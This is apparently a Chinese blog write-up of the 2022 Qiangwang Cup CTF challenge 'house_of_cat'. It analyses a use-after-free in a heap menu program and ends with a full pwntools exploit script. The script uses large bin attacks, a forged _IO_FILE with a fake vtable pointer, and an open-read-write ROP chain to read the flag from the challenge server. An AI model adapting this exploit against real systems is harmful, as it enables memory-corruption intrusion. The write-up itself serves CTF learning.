2022强网杯house_of_cat

2022强网杯house_of_cat

Berial Lv1
  2024-05-13 12:20:26 2024-05-13 12:20:26 Created   2024-09-12 14:42:21 2024-09-12 14:42:21 Updated      1.4k Words  8 Mins  

前言

[!IMPORTANT]

前面对House of cat的调用链进行了一个分析，这次通过例题来看下是如何实现的

House of Cat调用链调试

[强网杯 2022 初赛]house_of_cat

保护

image-20240513123830518

image-20240513124228537

分析

首先是是一个比较复杂的login函数，这里面就不放了，因为重点是伪造fake_io的流程

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LOGIN | r00t QWB QWXFadmin
CAT | r00t QWB QWXF$\xff

add

image-20240513125836598

限制了16个堆块，大小在0x418到0x470之间，使用的是calloc函数

delete

image-20240513130037330

存在UAF漏洞

show

image-20240513130132802

write 0x30大小

edit

image-20240513130217018

edit有两次机会，并且只能修改0x30大小

利用流程

泄露堆地址及libc基址

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add(0, 0x420)
add(1, 0x430)
add(2, 0x418)
free(0)
add(3, 0x440)
show(0)
ru(':\n')
base = uu64() - 0x21a0d0
useless = io.recv(8+2)
heapbase = uheap() - 0x290

利用large bin泄露堆基地址和libc基地址

伪造IO

用POC看的stderr结构体

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pwndbg> p *stderr
$1 = {
  _flags = -72540026,
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x7ffff7e1a780 <_IO_2_1_stdout_>,
  _fileno = 2,
  _flags2 = 0,
  _old_offset = -1,
  _cur_column = 0,
  _vtable_offset = 0 '\000',
  _shortbuf = "",
  _lock = 0x7ffff7e1ba60 <_IO_stdfile_2_lock>,
  _offset = -1,
  _codecvt = 0x0,
  _wide_data = 0x7ffff7e198a0 <_IO_wide_data_2>,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0,
  _mode = 0,
  _unused2 = '\000' <repeats 19 times>
}

然后就是照着POC改，POC在另一篇文章中

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# fake IO
addr_IO = heapbase + 0xb00
fake = p64(0)*4 + p64(0)*2
fake += p64(1) + p64(2)#read_base & write_base
fake += p64(addr_IO + 0xb0)#rdx:write_ptr
fake += p64(setcontext)#call_addr
fake = fake.ljust(0x58, b'\x00')
fake += p64(0)#_chain
fake = fake.ljust(0x78, b'\x00')
fake += p64(heapbase + 0x200)#_lock = writable addr
fake = fake.ljust(0x90, b'\x00')
fake += p64(addr_IO + 0x30)#_wide_data:rax1
fake = fake.ljust(0xB0, b'\x00')
fake += p64(1) #mode = 1
fake = fake.ljust(0xc8, b'\x00')
fake += p64(base + 0x2160c0 + 0x10)#vtable --> IO_wfile_jumps + 0x10
fake += p64(0)*6
fake += p64(addr_IO + 0x40)#rax2

其实剩下的部分就是正常的高版本堆打ORW了，但是这部分还不是很熟练，需要多练，这里主要是加强对IO理解和House of cat调用链的一个学习

exp：

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from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
from math import log
import warnings
banary = "./house_of_cat"
elf = ELF(banary)
libc = ELF("./libc.so.6")
#libc=ELF("/home/berial/libc/64bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.23.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
ip = 'node4.anna.nssctf.cn'
port = 28554
local = 0
if local:
    io = process(banary)
    #io = process(banary, env={LD_LIBRARY:'./libc.so'})
    #io = process(banary,stdin=PTY,raw=False)
else:
    io = remote(ip, port)
warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def debug(a=''):
    if a != '':
        gdb.attach(io, a)
        pause()
    else:
        gdb.attach(io)
        pause()
def cal(x, y):
    return ((x - y) + 0x10000) % 0x10000
#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rl = lambda : io.recvline()
uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
#----------------------------------------------------------------
sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')
def add(idx,size,content='aaa'):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n',str(1))
    sla('plz input your cat idx:\n',str(idx))
    sla('plz input your cat size:\n',str(size))
    sa('plz input your content:\n',content)
def free(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(2))
    sla('plz input your cat idx:\n',str(idx))
def show(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(3))
    sla('plz input your cat idx:\n',str(idx))
def edit(idx,content):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(4))
    sla('plz input your cat idx:\n',str(idx))
    sa('plz input your content:\n', content)

add(0, 0x420)
add(1, 0x430)
add(2, 0x418)
free(0)
add(3, 0x440)
show(0)
ru(':\n')
base = uu64() - 0x21a0d0
useless = io.recv(8+2)
heapbase = uheap() - 0x290
# -----
pop_rsi = base + 0x2be51
pop_rdx_r12 = base + 0x11f497
pop_rdi = base + 0x2a3e5
pop_rax = base + 0x45eb0
stderr = base + libc.sym['stderr']
setcontext = base + libc.sym['setcontext'] + 61
write = base + libc.sym['write']
read = base + libc.sym['read']
close = base + libc.sym['close']
syscall_ret = base + 0x91396
ret = base + 0x29cd6
# -----
# fake IO
addr_IO = heapbase + 0xb00
fake = p64(0)*4 + p64(0)*2
fake += p64(1) + p64(2)#read_base & write_base
fake += p64(addr_IO + 0xb0)#rdx:write_ptr
fake += p64(setcontext)#call_addr
fake = fake.ljust(0x58, b'\x00')
fake += p64(0)#_chain
fake = fake.ljust(0x78, b'\x00')
fake += p64(heapbase + 0x200)#_lock = writable addr
fake = fake.ljust(0x90, b'\x00')
fake += p64(addr_IO + 0x30)#_wide_data:rax1
fake = fake.ljust(0xB0, b'\x00')
fake += p64(1) #mode = 1
fake = fake.ljust(0xc8, b'\x00')
fake += p64(base + 0x2160c0 + 0x10)#vtable --> IO_wfile_jumps + 0x10
fake += p64(0)*6
fake += p64(addr_IO + 0x40)#rax2
flag = heapbase + 0x17d0
fake_pay = fake + p64(flag) + p64(0) + p64(0)*5 + p64(heapbase + 0x2050) + p64(ret)
free(2)
add(6, 0x418, fake_pay)
free(6)
# large bin attack
edit(0, p64(base + 0x21a0d0)*2 + p64(heapbase + 0x290) + p64(stderr - 0x20))
add(5, 0x440, 'aaaaa')
add(7, 0x430, 'flag')
add(8, 0x430)
# orw_rop
payload = p64(pop_rdi) + p64(0) + p64(close)
payload += p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(flag) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(write)
add(9, 0x430, payload)
free(5)
add(10, 0x450, p64(0)+p64(1))
free(8)
# large bin attack
edit(5, p64(base + 0x21a0e0)*2 + p64(heapbase + 0x1370) + p64(heapbase + 0x28e0 - 0x20 + 3))

# __malloc_assert
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))
# gdb.attach(io,'b* (_IO_wfile_seekoff)')
sla('plz input your cat size:',str(0x450))

p('stderr')
p('addr_IO')
p('heapbase')
p('base')
# debug()
ia()
  • Title: 2022强网杯house_of_cat
  • Author: Berial
  • Created at : 2024-05-13 12:20:26
  • Updated at : 2024-09-12 14:42:21
  • Link: https://berial.cn/posts/2022qwbhouse_of_cat/
  • License: This work is licensed under CC BY-NC-SA 4.0.
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2022强网杯house_of_cat
  1. 前言
  2. [强网杯 2022 初赛]house_of_cat
    1. 保护
    2. 分析
      1. add
      2. delete
      3. show
      4. edit
    3. 利用流程
      1. 泄露堆地址及libc基址
      2. 伪造IO